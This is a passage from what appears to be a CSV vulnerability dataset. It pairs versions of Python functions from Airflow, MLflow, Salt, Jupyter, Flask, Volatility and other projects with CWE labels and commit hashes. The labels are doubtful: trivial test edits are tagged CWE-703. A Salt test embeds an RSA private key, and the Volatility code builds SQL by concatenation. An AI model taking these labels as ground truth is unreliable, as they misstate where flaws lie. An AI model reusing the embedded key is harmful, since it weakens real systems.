    app.config['TESTING'] = testing

    csrf.init_app(app)

    db = SQLA(app)

    from airflow import api
    api.load_auth()
    api.api_auth.init_app(app)

    cache = Cache(app=app, config={'CACHE_TYPE': 'filesystem', 'CACHE_DIR': '/tmp'})  # noqa

    from airflow.www_rbac.blueprints import routes
    app.register_blueprint(routes)

    configure_logging()
    configure_manifest_files(app)

    with app.app_context():

        from airflow.www_rbac.security import AirflowSecurityManager
        security_manager_class = app.config.get('SECURITY_MANAGER_CLASS') or \
            AirflowSecurityManager

        if not issubclass(security_manager_class, AirflowSecurityManager):
            raise Exception(
                """"""Your CUSTOM_SECURITY_MANAGER must now extend AirflowSecurityManager,
                 not FAB's security manager."""""")

        appbuilder = AppBuilder(
            app,
            db.session if not session else session,
            security_manager_class=security_manager_class,
            base_template='appbuilder/baselayout.html')

        def init_views(appbuilder):
            from airflow.www_rbac import views
            appbuilder.add_view_no_menu(views.Airflow())
            appbuilder.add_view_no_menu(views.DagModelView())
            appbuilder.add_view_no_menu(views.ConfigurationView())
            appbuilder.add_view_no_menu(views.VersionView())
            appbuilder.add_view(views.DagRunModelView,
                                ""DAG Runs"",
                                category=""Browse"",
                                category_icon=""fa-globe"")
            appbuilder.add_view(views.JobModelView,
                                ""Jobs"",
                                category=""Browse"")
            appbuilder.add_view(views.LogModelView,
                                ""Logs"",
                                category=""Browse"")
            appbuilder.add_view(views.SlaMissModelView,
                                ""SLA Misses"",
                                category=""Browse"")
            appbuilder.add_view(views.TaskInstanceModelView,
                                ""Task Instances"",
                                category=""Browse"")
            appbuilder.add_link(""Configurations"",
                                href='/configuration',
                                category=""Admin"",
                                category_icon=""fa-user"")
            appbuilder.add_view(views.ConnectionModelView,
                                ""Connections"",
                                category=""Admin"")
            appbuilder.add_view(views.PoolModelView,
                                ""Pools"",
                                category=""Admin"")
            appbuilder.add_view(views.VariableModelView,
                                ""Variables"",
                                category=""Admin"")
            appbuilder.add_view(views.XComModelView,
                                ""XComs"",
                                category=""Admin"")
            appbuilder.add_link(""Documentation"",
                                href='https://airflow.apache.org/',
                                category=""Docs"",
                                category_icon=""fa-cube"")
            appbuilder.add_link(""Github"",
                                href='https://github.com/apache/airflow',
                                category=""Docs"")
            appbuilder.add_link('Version',
                                href='/version',
                                category='About',
                                category_icon='fa-th')

            def integrate_plugins():
                """"""Integrate plugins to the context""""""
                from airflow.plugins_manager import (
                    flask_appbuilder_views, flask_appbuilder_menu_links)

                for v in flask_appbuilder_views:
                    log.debug(""Adding view %s"", v[""name""])
                    appbuilder.add_view(v[""view""],
                                        v[""name""],
                                        category=v[""category""])
                for ml in sorted(flask_appbuilder_menu_links, key=lambda x: x[""name""]):
                    log.debug(""Adding menu link %s"", ml[""name""])
                    appbuilder.add_link(ml[""name""],
                                        href=ml[""href""],
                                        category=ml[""category""],
                                        category_icon=ml[""category_icon""])

            integrate_plugins()
            # Garbage collect old permissions/views after they have been modified.
            # Otherwise, when the name of a view or menu is changed, the framework
            # will add the new Views and Menus names to the backend, but will not
            # delete the old ones.

        init_views(appbuilder)

        security_manager = appbuilder.sm
        security_manager.sync_roles()

        from airflow.www_rbac.api.experimental import endpoints as e
        # required for testing purposes otherwise the module retains
        # a link to the default_auth
        if app.config['TESTING']:
            if six.PY2:
                reload(e) # noqa
            else:
                import importlib
                importlib.reload(e)

        app.register_blueprint(e.api_experimental, url_prefix='/api/experimental')

        @app.context_processor
        def jinja_globals():
            return {
                'hostname': socket.getfqdn(),
                'navbar_color': conf.get('webserver', 'NAVBAR_COLOR'),
            }

        @app.teardown_appcontext
        def shutdown_session(exception=None):
            settings.Session.remove()

    return app, appbuilder"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_file_store.py,1,"def test_log_metric_allows_multiple_values_at_same_step_and_run_data_uses_max_step_value(self):
        fs = FileStore(self.test_root)
        run_id = self._create_run(fs).info.run_id

        metric_name = ""test-metric-1""
        # Check that we get the max of (step, timestamp, value) in that order
        tuples_to_log = [
            (0, 100, 1000),
            (3, 40, 100),  # larger step wins even though it has smaller value
            (3, 50, 10),  # larger timestamp wins even though it has smaller value
            (3, 50, 20),  # tiebreak by max value
            (3, 50, 20),  # duplicate metrics with same (step, timestamp, value) are ok
            # verify that we can log steps out of order / negative steps
            (-3, 900, 900),
            (-1, 800, 800),
        ]
        for step, timestamp, value in reversed(tuples_to_log):
            fs.log_metric(run_id, Metric(metric_name, value, timestamp, step))

        metric_history = fs.get_metric_history(run_id, metric_name)
        logged_tuples = [(m.step, m.timestamp, m.value) for m in metric_history]
        assert set(logged_tuples) == set(tuples_to_log)

        run_data = fs.get_run(run_id).data
        run_metrics = run_data.metrics
        assert len(run_metrics) == 1
        assert run_metrics[metric_name] == 20
        metric_obj = run_data._metric_objs[0]
        assert metric_obj.key == metric_name
        assert metric_obj.step == 3
        assert metric_obj.timestamp == 50
        assert metric_obj.value == 20",CWE-703,mlflow/mlflow,6e8691bdfc9f8e1ac7d077068f505eae5c7ebcbc,"def test_log_metric_allows_multiple_values_at_same_step_and_run_data_uses_max_step_value(self):
        fs = FileStore(self.test_root)
        run_id = self._create_run(fs).info.run_id

        metric_name = ""test-metric-1""
        # Check that we get the max of (step, timestamp, value) in that order
        tuples_to_log = [
            (0, 100, 1000),
            (3, 40, 100),  # larger step wins even though it has smaller value
            (3, 50, 10),  # larger timestamp wins even though it has smaller value
            (3, 50, 20),  # tiebreak by max value
            (3, 50, 20),  # duplicate metrics with same (step, timestamp, value) are ok
            # verify that we can log steps out of order / negative steps
            (-3, 900, 900),
            (-1, 800, 800),
        ]
        for step, timestamp, value in reversed(tuples_to_log):
            fs.log_metric(run_id, Metric(metric_name, value, timestamp, step))

        metric_history = fs.get_metric_history(run_id, metric_name)
        logged_tuples = [(m.step, m.timestamp, m.value) for m in metric_history]
        assert set(logged_tuples) == set(tuples_to_log)

        run_data = fs.get_run(run_id).data
        run_metrics = run_data.metrics
        assert len(run_metrics) == 1
        assert run_metrics[metric_name] == 20
        metric_obj = run_data._metric_objs[0]
        assert metric_obj.key == metric_name
        assert metric_obj.step == 3
        assert metric_obj.timestamp == 50
        assert metric_obj.value == 20"
,UNKNOWN,UNKNOWN,tests/pytests/scenarios/multimaster/test_multimaster.py,1,"def _run_salt_cmds(clis, minions):
    """"""
    Run test.echo from all clis to all minions
    """"""
    returned_minions = []

    for cli in clis:
        for minion in minions:
            try:
                ret = cli.run(""test.echo"", ECHO_STR, minion_tgt=minion.id, _timeout=20)
                if ret and ret.json:
                    assert ret.json == ECHO_STR
                    assert ret.exitcode == 0
                    returned_minions.append(minion)
            except FactoryTimeout as exc:
                log.debug(
                    ""Failed to execute test.echo from %s to %s."",
                    cli.get_display_name(),
                    minion.id,
                )

    return returned_minions",CWE-703,saltstack/salt,75271cc4d4480111767b6b905345a871e3203709,"def _run_salt_cmds(clis, minions):
    """"""
    Run test.echo from all clis to all minions
    """"""
    returned_minions = []

    for cli in clis:
        for minion in minions:
            try:
                ret = cli.run(""test.echo"", ECHO_STR, minion_tgt=minion.id, _timeout=5)
                if ret and ret.json:
                    assert ret.json == ECHO_STR
                    assert ret.exitcode == 0
                    returned_minions.append(minion)
            except FactoryTimeout as exc:
                log.debug(
                    ""Failed to execute test.echo from %s to %s."",
                    cli.get_display_name(),
                    minion.id,
                )

    return returned_minions"
,UNKNOWN,UNKNOWN,tests/pytests/unit/crypt/test_crypt.py,1,"def test_pwdata_decrypt():
    key_string = dedent(
        """"""-----BEGIN RSA PRIVATE KEY-----
        MIIEpQIBAAKCAQEAzhBRyyHa7b63RLE71uKMKgrpulcAJjaIaN68ltXcCvy4w9pi
        Kj+4I3Qp6RvUaHOEmymqyjOMjQc6iwpe0scCFqh3nUk5YYaLZ3WAW0htQVlnesgB
        ZiBg9PBeTQY/LzqtudL6RCng/AX+fbnCsddlIysRxnUoNVMvz0gAmCY2mnTDjcTt
        pyxuk2T0AHSHNCKCalm75L1bWDFF+UzFemf536tBfBUGRWR6jWTij85vvCntxHS/
        HdknaTJ50E7XGVzwBJpCyV4Y2VXuW/3KrCNTqXw+jTmEw0vlcshfDg/vb3IxsUSK
        5KuHalKq/nUIc+F4QCJOl+A10goGdIfYC1/67QIDAQABAoIBAAOP+qoFWtCTZH22
        hq9PWVb8u0+yY1lFxhPyDdaZueUiu1r/coUCdv996Z+TEJgBr0AzdzVpsLtbbaKr
        ujnwoNOdc/vvISPTfKN8P4zUcrcXgZd4z7VhR+vUH/0652q8m/ZDdHorMy2IOP8Z
        cAk9DQ2PmA4TRm+tkX0G5KO8vWLsK921aRMWdsKJyQ0lYxl7M8JWupFsCJFr/U+8
        dAVtwnUiS7RnhBABZ1cfNTHYhXVAh4d+a9y/gZ00a66OGqPxiXfhjjDUZ6fGvWKN
        FlhKWEg6YqIx/H4aNXkLI5Rzzhdx/c2ukNm7+X2veRcAW7bcTwk8wxJxciEP5pBi
        1el9VE0CgYEA/lbzdE2M4yRBvTfYYC6BqZcn+BqtrAUc2h3fEy+p7lwlet0af1id
        gWpYpOJyLc0AUfR616/m2y3PwEH/nMKDSTuU7o/qKNtlHW0nQcnhDCjTUydS3+J/
        JM3dhfgVqi03rjqNcgHA2eOEwcu/OBZtiaC0wqKbuRZRtfGffyoO3ssCgYEAz2iw
        wqu/NkA+MdQIxz/a3Is7gGwoFu6h7O+XU2uN8Y2++jSBw9AzzWj31YCvyjuJPAE+
        gxHm6yOnNoLVn423NtibHejhabzHNIK6UImH99bSTKabsxfF2BX6v982BimU1jwc
        bYykzws37oN/poPb5FTpEiAUrsd2bAMn/1S43icCgYEAulHkY0z0aumCpyUkA8HO
        BvjOtPiGRcAxFLBRXPLL3+vtIQachLHcIJRRf+jLkDXfiCo7W4pm6iWzTbqLkMEG
        AD3/qowPFAM1Hct6uL01efzmYsIp+g0o60NMhvnolRQu+Bm4yM30AyqjdHzYBjSX
        5fyuru8EeSCal1j8aOHcpuUCgYEAhGhDH6Pg59NPYSQJjpm3MMA59hwV473n5Yh2
        xKyO6zwgRT6r8MPDrkhqnwQONT6Yt5PbwnT1Q/t4zhXsJnWkFwFk1U1MSeJYEa+7
        HZsPECs2CfT6xPRSO0ac00y+AmUdPT8WruDwfbSdukh8f2MCR9vlBsswKPvxH7dM
        G3aMplUCgYEAmMFgB/6Ox4OsQPPC6g4G+Ezytkc4iVkMEcjiVWzEsYATITjq3weO
        /XDGBYJoBhYwWPi9oBufFc/2pNtWy1FKKXPuVyXQATdA0mfEPbtsHjMFQNZbeKnm
        0na/SysSDCK3P+9ijlbjqLjMmPEmhJxGWTJ7khnTTkfre7/w9ZxJxi8=
        -----END RSA PRIVATE KEY-----""""""
    )

    pwdata = (
        b""V\x80+b\xca\x06M\xb6\x12\xc6\xe8\xf2\xb5\xbb\xd8m\xc0\x97\x9a\xeb\xb9q\x19\xc3""
        b'\xcdi\xb84\x90\xaf\x12kT\xe2@u\xd6\xe8T\x89\xa3\xc7\xb2Y\xd1N\x00\xa9\xc0""\xbe'
        b""\xed\xb1\xc3\xb7^\xbf\xbd\x8b\x13\xd3/L\x1b\xa1`\xe2\xea\x03\x98\x82\xf3uS&|""
        b'\xe5\xd8J\xce\xfc\x97\x8d\x0b\x949\xc0\xbd^\xef\xc6\xfd\xce\xbb\x1e\xd0""(m\xe1'
        b""\x95\xfb\xc8/\x07\x93\xb8\xda\x8f\x99\xfe\xdc\xd5\xcb\xdb\xb2\xf11M\xdbD\xcf""
        b""\x95\x13p\r\xa4\x1c{\xd5\xdb\xc7\xe5\xaf\x95F\x97\xa9\x00p~\xb5\xec\xa4.\xd0""
        b""\xa4\xb4\xf4f\xcds,Y/\xa1:WF\xb8\xc7\x07\xaa\x0b<'~\x1b$D9\xd4\x8d\xf0x\xc5""
        b""\xee\xa8:\xe6\x00\x10\xc5i\x11\xc7]C8\x05l\x8b\x9b\xc3\x83e\xf7y\xadi:0\xb4R""
        b""\x1a(\x04&yL8\x19s\n\x11\x81\xfd?\xfb2\x80Ll\xa1\xdc\xc9\xb6P\xca\x8d'\x11\xc1""
        b""\x07\xa5\xa1\x058\xc7\xce\xbeb\x92\xbf\x0bL\xec\xdf\xc3M\x83\xfb$\xec\xd5\xf9""
    )
    assert salt.crypt.pwdata_decrypt(key_string, pwdata) == ""1234""",CWE-703,saltstack/salt,628c0d271349b173b4af7c8bd9b88890c033a2ed,"def test_pwdata_decrypt():
    key_string = dedent(
        """"""-----BEGIN RSA PRIVATE KEY-----
        MIIEpQIBAAKCAQEAzhBRyyHa7b63RLE71uKMKgrpulcAJjaIaN68ltXcCvy4w9pi
        Kj+4I3Qp6RvUaHOEmymqyjOMjQc6iwpe0scCFqh3nUk5YYaLZ3WAW0htQVlnesgB
        ZiBg9PBeTQY/LzqtudL6RCng/AX+fbnCsddlIysRxnUoNVMvz0gAmCY2mnTDjcTt
        pyxuk2T0AHSHNCKCalm75L1bWDFF+UzFemf536tBfBUGRWR6jWTij85vvCntxHS/
        HdknaTJ50E7XGVzwBJpCyV4Y2VXuW/3KrCNTqXw+jTmEw0vlcshfDg/vb3IxsUSK
        5KuHalKq/nUIc+F4QCJOl+A10goGdIfYC1/67QIDAQABAoIBAAOP+qoFWtCTZH22
        hq9PWVb8u0+yY1lFxhPyDdaZueUiu1r/coUCdv996Z+TEJgBr0AzdzVpsLtbbaKr
        ujnwoNOdc/vvISPTfKN8P4zUcrcXgZd4z7VhR+vUH/0652q8m/ZDdHorMy2IOP8Z
        cAk9DQ2PmA4TRm+tkX0G5KO8vWLsK921aRMWdsKJyQ0lYxl7M8JWupFsCJFr/U+8
        dAVtwnUiS7RnhBABZ1cfNTHYhXVAh4d+a9y/gZ00a66OGqPxiXfhjjDUZ6fGvWKN
        FlhKWEg6YqIx/H4aNXkLI5Rzzhdx/c2ukNm7+X2veRcAW7bcTwk8wxJxciEP5pBi
        1el9VE0CgYEA/lbzdE2M4yRBvTfYYC6BqZcn+BqtrAUc2h3fEy+p7lwlet0af1id
        gWpYpOJyLc0AUfR616/m2y3PwEH/nMKDSTuU7o/qKNtlHW0nQcnhDCjTUydS3+J/
        JM3dhfgVqi03rjqNcgHA2eOEwcu/OBZtiaC0wqKbuRZRtfGffyoO3ssCgYEAz2iw
        wqu/NkA+MdQIxz/a3Is7gGwoFu6h7O+XU2uN8Y2++jSBw9AzzWj31YCvyjuJPAE+
        gxHm6yOnNoLVn423NtibHejhabzHNIK6UImH99bSTKabsxfF2BX6v982BimU1jwc
        bYykzws37oN/poPb5FTpEiAUrsd2bAMn/1S43icCgYEAulHkY0z0aumCpyUkA8HO
        BvjOtPiGRcAxFLBRXPLL3+vtIQachLHcIJRRf+jLkDXfiCo7W4pm6iWzTbqLkMEG
        AD3/qowPFAM1Hct6uL01efzmYsIp+g0o60NMhvnolRQu+Bm4yM30AyqjdHzYBjSX
        5fyuru8EeSCal1j8aOHcpuUCgYEAhGhDH6Pg59NPYSQJjpm3MMA59hwV473n5Yh2
        xKyO6zwgRT6r8MPDrkhqnwQONT6Yt5PbwnT1Q/t4zhXsJnWkFwFk1U1MSeJYEa+7
        HZsPECs2CfT6xPRSO0ac00y+AmUdPT8WruDwfbSdukh8f2MCR9vlBsswKPvxH7dM
        G3aMplUCgYEAmMFgB/6Ox4OsQPPC6g4G+Ezytkc4iVkMEcjiVWzEsYATITjq3weO
        /XDGBYJoBhYwWPi9oBufFc/2pNtWy1FKKXPuVyXQATdA0mfEPbtsHjMFQNZbeKnm
        0na/SysSDCK3P+9ijlbjqLjMmPEmhJxGWTJ7khnTTkfre7/w9ZxJxi8=
        -----END RSA PRIVATE KEY-----""""""
    )

    pwdata = (
        b""V\x80+b\xca\x06M\xb6\x12\xc6\xe8\xf2\xb5\xbb\xd8m\xc0\x97\x9a\xeb\xb9q\x19\xc3""
        b'\xcdi\xb84\x90\xaf\x12kT\xe2@u\xd6\xe8T\x89\xa3\xc7\xb2Y\xd1N\x00\xa9\xc0""\xbe'
        b""\xed\xb1\xc3\xb7^\xbf\xbd\x8b\x13\xd3/L\x1b\xa1`\xe2\xea\x03\x98\x82\xf3uS&|""
        b'\xe5\xd8J\xce\xfc\x97\x8d\x0b\x949\xc0\xbd^\xef\xc6\xfd\xce\xbb\x1e\xd0""(m\xe1'
        b""\x95\xfb\xc8/\x07\x93\xb8\xda\x8f\x99\xfe\xdc\xd5\xcb\xdb\xb2\xf11M\xdbD\xcf""
        b""\x95\x13p\r\xa4\x1c{\xd5\xdb\xc7\xe5\xaf\x95F\x97\xa9\x00p~\xb5\xec\xa4.\xd0""
        b""\xa4\xb4\xf4f\xcds,Y/\xa1:WF\xb8\xc7\x07\xaa\x0b<'~\x1b$D9\xd4\x8d\xf0x\xc5""
        b""\xee\xa8:\xe6\x00\x10\xc5i\x11\xc7]C8\x05l\x8b\x9b\xc3\x83e\xf7y\xadi:0\xb4R""
        b""\x1a(\x04&yL8\x19s\n\x11\x81\xfd?\xfb2\x80Ll\xa1\xdc\xc9\xb6P\xca\x8d'\x11\xc1""
        b""\x07\xa5\xa1\x058\xc7\xce\xbeb\x92\xbf\x0bL\xec\xdf\xc3M\x83\xfb$\xec\xd5\xf9""
    )
    assert ""1234"", salt.crypt.pwdata_decrypt(key_string, pwdata)"
,UNKNOWN,UNKNOWN,notebook/tests/selenium/test_display_isolation.py,1,"def isolated_html(notebook):
    """"""Test HTML display isolation.

    HTML styling rendered without isolation will affect the whole
    document, whereas styling applied with isolation will affect only
    the local display object.
    """"""
    red = 'rgb(255, 0, 0)'
    blue = 'rgb(0, 0, 255)'
    test_str = ""<div id='test'>Should turn red from non-isolation</div>""
    notebook.add_and_execute_cell(content=f""display(HTML({test_str!r}))"")
    non_isolated = (
        f""<style>div{{color:{red};}}</style>""
        f""<div id='non-isolated'>Should be red</div>"")
    display_ni = f""display(HTML({non_isolated!r}), metadata={{'isolated':False}})""
    notebook.add_and_execute_cell(content=display_ni)
    isolated = (
        f""<style>div{{color:{blue};}}</style>""
        f""<div id='isolated'>Should be blue</div>"")
    display_i = f""display(HTML({isolated!r}), metadata={{'isolated':True}})""
    notebook.add_and_execute_cell(content=display_i)

    iframe = wait_for_tag(notebook.browser, ""iframe"", single=True)

    # The non-isolated div will be in the body
    non_isolated_div = notebook.body.find_element_by_id(""non-isolated"")
    assert non_isolated_div.value_of_css_property(""color"") == red

    # The non-isolated styling will have affected the output of other cells
    test_div = notebook.body.find_element_by_id(""test"")
    assert test_div.value_of_css_property(""color"") == red

    # The isolated div will be in an iframe, only that element will be blue
    notebook.browser.switch_to.frame(iframe)
    isolated_div = notebook.browser.find_element_by_id(""isolated"")
    assert isolated_div.value_of_css_property(""color"") == blue
    notebook.browser.switch_to.default_content()
    # Clean up the html test cells
    for i in range(1, len(notebook.cells)):
        notebook.delete_cell(1)",CWE-703,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def isolated_html(notebook):
    """"""Test HTML display isolation.

    HTML styling rendered without isolation will affect the whole
    document, whereas styling applied with isolation will affect only
    the local display object.
    """"""
    red = 'rgb(255, 0, 0)'
    blue = 'rgb(0, 0, 255)'
    test_str = ""<div id='test'>Should turn red from non-isolation</div>""
    notebook.add_and_execute_cell(content=""display(HTML(%r))"" % test_str)
    non_isolated = (
        ""<style>div{color:%s;}</style>"" % red +
        ""<div id='non-isolated'>Should be red</div>"")
    display_ni = ""display(HTML(%r), metadata={'isolated':False})"" % (
        non_isolated)
    notebook.add_and_execute_cell(content=display_ni)
    isolated = (
        ""<style>div{color:%s;}</style>"" % blue +
        ""<div id='isolated'>Should be blue</div>"")
    display_i = ""display(HTML(%r), metadata={'isolated':True})"" % (
        isolated)
    notebook.add_and_execute_cell(content=display_i)

    iframe = wait_for_tag(notebook.browser, ""iframe"", single=True)

    # The non-isolated div will be in the body
    non_isolated_div = notebook.body.find_element_by_id(""non-isolated"")
    assert non_isolated_div.value_of_css_property(""color"") == red

    # The non-isolated styling will have affected the output of other cells
    test_div = notebook.body.find_element_by_id(""test"")
    assert test_div.value_of_css_property(""color"") == red

    # The isolated div will be in an iframe, only that element will be blue
    notebook.browser.switch_to.frame(iframe)
    isolated_div = notebook.browser.find_element_by_id(""isolated"")
    assert isolated_div.value_of_css_property(""color"") == blue
    notebook.browser.switch_to.default_content()
    # Clean up the html test cells
    for i in range(1, len(notebook.cells)):
        notebook.delete_cell(1)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/iostream_test.py,0,"def test_small_read_untils_from_large_buffer(self):
        # 10KB buffer size, 100KB available to read.
        # Read 1KB at a time and make sure that the buffer is not eagerly
        # filled.
        server, client = self.make_iostream_pair(max_buffer_size=10 * 1024)
        try:
            server.write((b""a"" * 1023 + b""\n"") * 100)
            for i in range(100):
                client.read_until(b""\n"", self.stop, max_bytes=4096)
                data = self.wait()
                self.assertEqual(data, b""a"" * 1023 + b""\n"")
        finally:
            server.close()
            client.close()",CWE-Unknown,tornadoweb/tornado,41ff81b2375720dafe986a9a343daf49ae6253f8,"def test_small_read_untils_from_large_buffer(self):
        # 10KB buffer size, 100KB available to read.
        # Read 1KB at a time and make sure that the buffer is not eagerly
        # filled.
        server, client = self.make_iostream_pair(max_buffer_size=10 * 1024)
        try:
            server.write((b""a"" * 1023 + b""\n"") * 100)
            for i in range(100):
                client.read_until(b""\n"", self.stop, max_bytes=4096)
                data = self.wait()
                self.assertEqual(data, b""a"" * 1023 + b""\n"")
        finally:
            server.close()
            client.close()"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,test_requests.py,0,"def test_prepare_unicode_url():
    p = PreparedRequest()
    p.prepare(
        method='GET',
        url=u('http://www.example.com/üniçø∂é'),
        hooks=[]
    )
    assert_copy(p, p.copy())",,psf/requests,091991be0da19de9108dbe5e3752917fea3d7fdc,"def test_prepare_unicode_url():
    p = PreparedRequest()
    p.prepare(
        method='GET',
        url=u('http://www.example.com/üniçø∂é')
    )
    assert_copy(p, p.copy())"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/contents/filemanager.py,0,"def get_model(self, path, content=True, type_=None, format=None):
        """""" Takes a path for an entity and returns its model

        Parameters
        ----------
        path : str
            the API path that describes the relative path for the target
        content : bool
            Whether to include the contents in the reply
        type_ : str, optional
            The requested type - 'file', 'notebook', or 'directory'.
            Will raise HTTPError 400 if the content doesn't match.
        format : str, optional
            The requested format for file contents. 'text' or 'base64'.
            Ignored if this returns a notebook or directory model.

        Returns
        -------
        model : dict
            the contents model. If content=True, returns the contents
            of the file or directory as well.
        """"""
        path = path.strip('/')

        if not self.exists(path):
            raise web.HTTPError(404, u'No such file or directory: %s' % path)

        os_path = self._get_os_path(path)
        if os.path.isdir(os_path):
            if type_ not in (None, 'directory'):
                raise web.HTTPError(400,
                                u'%s is a directory, not a %s' % (path, type_))
            model = self._dir_model(path, content=content)
        elif type_ == 'notebook' or (type_ is None and path.endswith('.ipynb')):
            model = self._notebook_model(path, content=content)
        else:
            if type_ == 'directory':
                raise web.HTTPError(400,
                                u'%s is not a directory')
            model = self._file_model(path, content=content, format=format)
        return model",,jupyter/notebook,6f48b58b18b21957cdca7c0603962673afc6841a,"def get_model(self, path, content=True, type_=None, format=None):
        """""" Takes a path for an entity and returns its model

        Parameters
        ----------
        path : str
            the API path that describes the relative path for the target
        content : bool
            Whether to include the contents in the reply
        type_ : str, optional
            The requested type - 'file', 'notebook', or 'directory'.
            Will raise HTTPError 406 if the content doesn't match.
        format : str, optional
            The requested format for file contents. 'text' or 'base64'.
            Ignored if this returns a notebook or directory model.

        Returns
        -------
        model : dict
            the contents model. If content=True, returns the contents
            of the file or directory as well.
        """"""
        path = path.strip('/')

        if not self.exists(path):
            raise web.HTTPError(404, u'No such file or directory: %s' % path)

        os_path = self._get_os_path(path)
        if os.path.isdir(os_path):
            if type_ not in (None, 'directory'):
                raise web.HTTPError(400,
                                u'%s is a directory, not a %s' % (path, type_))
            model = self._dir_model(path, content=content)
        elif type_ == 'notebook' or (type_ is None and path.endswith('.ipynb')):
            model = self._notebook_model(path, content=content)
        else:
            if type_ == 'directory':
                raise web.HTTPError(400,
                                u'%s is not a directory')
            model = self._file_model(path, content=content, format=format)
        return model"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/app.py,0,"def handle_exception(self, e):
        """"""Default exception handling that kicks in when an exception
        occurs that is not caught.  In debug mode the exception will
        be re-raised immediately, otherwise it is logged and the handler
        for a 500 internal server error is used.  If no such handler
        exists, a default 500 internal server error message is displayed.

        .. versionadded:: 0.3
        """"""
        exc_type, exc_value, tb = sys.exc_info()

        got_request_exception.send(self, exception=e)
        handler = self._find_error_handler(InternalServerError())

        if self.propagate_exceptions:
            # if we want to repropagate the exception, we can attempt to
            # raise it with the whole traceback in case we can do that
            # (the function was actually called from the except part)
            # otherwise, we just raise the error again
            if exc_value is e:
                reraise(exc_type, exc_value, tb)
            else:
                raise e

        self.log_exception((exc_type, exc_value, tb))
        if handler is None:
            return InternalServerError()
        return self.finalize_request(handler(e), from_error_handler=True)",,pallets/flask,9e41eca7f839db16cdf064f827fada0cabf6f54f,"def handle_exception(self, e):
        """"""Default exception handling that kicks in when an exception
        occurs that is not caught.  In debug mode the exception will
        be re-raised immediately, otherwise it is logged and the handler
        for a 500 internal server error is used.  If no such handler
        exists, a default 500 internal server error message is displayed.

        .. versionadded:: 0.3
        """"""
        exc_type, exc_value, tb = sys.exc_info()

        got_request_exception.send(self, exception=e)
        handler = self._find_error_handler(InternalServerError())

        if self.propagate_exceptions:
            # if we want to repropagate the exception, we can attempt to
            # raise it with the whole traceback in case we can do that
            # (the function was actually called from the except part)
            # otherwise, we just raise the error again
            if exc_value is e:
                reraise(exc_type, exc_value, tb)
            else:
                raise e

        self.log_exception((exc_type, exc_value, tb))
        if handler is None:
            return InternalServerError()
        return handler(e)"
,UNKNOWN,UNKNOWN,tests/models/test_model_input_examples.py,1,"def test_infer_signature_raises_if_predict_on_input_example_fails(monkeypatch):
    monkeypatch.setenv(""MLFLOW_TESTING"", ""false"")

    class ErrorModel(BaseEstimator, ClassifierMixin):
        def fit(self, X, y=None):
            return self

        def predict(self, X):
            raise Exception(""oh no!"")

    with mock.patch(""mlflow.models.model._logger.warning"") as mock_warning:
        with mlflow.start_run():
            mlflow.sklearn.log_model(ErrorModel(), ""model"", input_example=np.array([[1]]))
        assert any(
            ""Failed to validate serving input example"" in call[0][0]
            for call in mock_warning.call_args_list
        )",CWE-703,mlflow/mlflow,198985e9efdcce4e7b877bc4cb18471c2ca3fb31,"def test_infer_signature_raises_if_predict_on_input_example_fails(monkeypatch):
    monkeypatch.setenv(""MLFLOW_TESTING"", ""false"")

    class ErrorModel(BaseEstimator, ClassifierMixin):
        def fit(self, X, y=None):
            return self

        def predict(self, X):
            raise Exception(""oh no!"")

    with mock.patch(""mlflow.models.model._logger.warning"") as mock_warning:
        with mlflow.start_run():
            mlflow.sklearn.log_model(ErrorModel(), ""model"", input_example=np.array([[1]]))
        mock_warning.assert_called_once()
        assert ""Failed to validate serving input example"" in mock_warning.call_args[0][0]"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/renderers/sqlite.py,0,"def render(self, outfd, grid):
        if not self._config.OUTPUT_FILE:
            debug.error(""Please specify a valid output file using --output-file"")

        self._db = sqlite3.connect(self._config.OUTPUT_FILE, isolation_level = None)
        # Change text factory from unicode to bytestring to allow insertion of non-ASCII characters
        # Sometimes process remainders in memory cause funky names et.al. to be retrieved
        self._db.text_factory = str
        create = ""CREATE TABLE IF NOT EXISTS "" + self._plugin_name + ""( id INTEGER, "" + \
                 "", "".join(['""' + self._sanitize_name(i.name) + '"" ' + self._column_type(i.type) for i in grid.columns]) + "")""
        self._db.execute(create)

        def _add_multiple_row(node, accumulator):
            accumulator[0] = accumulator[0] + 1 #id
            accumulator[1].append([accumulator[0]] + [str(v) for v in node.values])
            if len(accumulator[1]) > 20000:
                self._db.execute(""BEGIN TRANSACTION"")
                insert = ""INSERT INTO "" + self._plugin_name + "" (id, "" + \
                     "", "".join(['""' + self._sanitize_name(i.name) + '""' for i in grid.columns]) + "") "" + \
                     "" VALUES (?, "" + "", "".join([""?""] * len(node.values)) + "")""
                self._db.executemany(insert, accumulator[1])
                accumulator = [accumulator[0], []]
                self._db.execute(""COMMIT TRANSACTION"")
            self._accumulator = accumulator
            return accumulator

        grid.populate(_add_multiple_row, self._accumulator)

        #Insert last nodes
        if len(self._accumulator[1]) > 0:
            self._db.execute(""BEGIN TRANSACTION"")
            insert = ""INSERT INTO "" + self._plugin_name + "" (id, "" + \
                     "", "".join(['""' + self._sanitize_name(i.name) + '""' for i in grid.columns]) + "") "" + \
                     "" VALUES (?, "" + "", "".join([""?""] * (len(self._accumulator[1][0])-1)) + "")""
            self._db.executemany(insert, self._accumulator[1])
            self._db.execute(""COMMIT TRANSACTION"")",,volatilityfoundation/volatility,dfb2b91854ccb5e29f1d684e5728191180454093,"def render(self, outfd, grid):
        if not self._config.OUTPUT_FILE:
            debug.error(""Please specify a valid output file using --output-file"")

        self._db = sqlite3.connect(self._config.OUTPUT_FILE, isolation_level = None)
        create = ""CREATE TABLE IF NOT EXISTS "" + self._plugin_name + ""( id INTEGER, "" + \
                 "", "".join(['""' + self._sanitize_name(i.name) + '"" ' + self._column_type(i.type) for i in grid.columns]) + "")""
        self._db.execute(create)

        def _add_multiple_row(node, accumulator):
            accumulator[0] = accumulator[0] + 1 #id
            accumulator[1].append([accumulator[0]] + [str(v) for v in node.values])
            if len(accumulator[1]) > 20000:
                self._db.execute(""BEGIN TRANSACTION"")
                insert = ""INSERT INTO "" + self._plugin_name + "" (id, "" + \
                     "", "".join(['""' + self._sanitize_name(i.name) + '""' for i in grid.columns]) + "") "" + \
